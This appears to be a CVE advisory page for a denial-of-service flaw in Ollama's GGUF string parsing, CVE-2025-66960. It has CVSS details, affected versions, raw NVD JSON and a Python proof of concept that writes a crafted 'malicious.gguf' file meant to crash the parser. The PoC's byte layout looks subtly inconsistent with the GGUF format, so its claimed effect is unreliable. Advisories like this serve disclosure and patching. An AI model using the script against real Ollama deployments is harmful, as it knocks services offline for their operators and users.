Security Vulnerability Report
中文
CVE-2025-66960 CVSS 7.5 HIGH

CVE-2025-66960

Published: 2026-01-21 18:16:24
Last Modified: 2026-02-02 17:27:27

Description

An issue in ollama v.0.12.10 allows a remote attacker to cause a denial of service via the fs/ggml/gguf.go, function readGGUFV1String reads a string length from untrusted GGUF metadata

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ollama:ollama:0.12.10:-:*:*:*:*:*:* - VULNERABLE
ollama < 0.12.10 (受影响版本)
ollama = 0.12.10 (确认受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66960 PoC - Malicious GGUF file generator This PoC generates a crafted GGUF file that triggers panic in readGGUFV1String """ import struct import sys def create_malicious_gguf(): """ Create a malicious GGUF file with oversized string length in metadata """ data = bytearray() # GGUF magic number data.extend(b'GGUF') # magic # Version (v1) data.extend(struct.pack('<I', 1)) # version = 1 # Tamper with the metadata section to cause readGGUFV1String panic # The key is to set an extremely large string length value # Metadata tag type (kvp): 3 data.extend(struct.pack('<I', 3)) # type = 3 (string) # Malicious string key name data.extend(b'malicious_key\x00') # Crafted string length - use a very large value to trigger DoS # This causes memory allocation failure or panic in readGGUFV1String oversized_length = 0x7FFFFFFFFFFFFFFF # Near max int64 data.extend(struct.pack('<Q', oversized_length)) # string length # Write the malicious GGUF file with open('malicious.gguf', 'wb') as f: f.write(data) print(f"[+] Created malicious GGUF file: malicious.gguf") print(f"[+] Oversized string length: {oversized_length}") print(f"[!] When parsed by Ollama, this will trigger DoS in readGGUFV1String") if __name__ == '__main__': create_malicious_gguf()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66960", "sourceIdentifier": "[email protected]", "published": "2026-01-21T18:16:23.950", "lastModified": "2026-02-02T17:27:26.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in ollama v.0.12.10 allows a remote attacker to cause a denial of service via the fs/ggml/gguf.go, function readGGUFV1String reads a string length from untrusted GGUF metadata"}, {"lang": "es", "value": "Un problema en ollama v.0.12.10 permite a un atacante remoto causar una denegación de servicio a través de fs/ggml/gguf.go, la función readGGUFV1String lee una longitud de cadena de metadatos GGUF no confiables."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ollama:ollama:0.12.10:-:*:*:*:*:*:*", "matchCriteriaId": "E5BE19AF-8583-4E83-AECD-1B8284D97BE0"}]}]}], "references": [{"url": "https://github.com/ollama/ollama/issues/9820", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://zero.shotlearni.ng/blog/cve-2025-66960guf-v1-string-length-cause-panic-in-readggufv1string/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}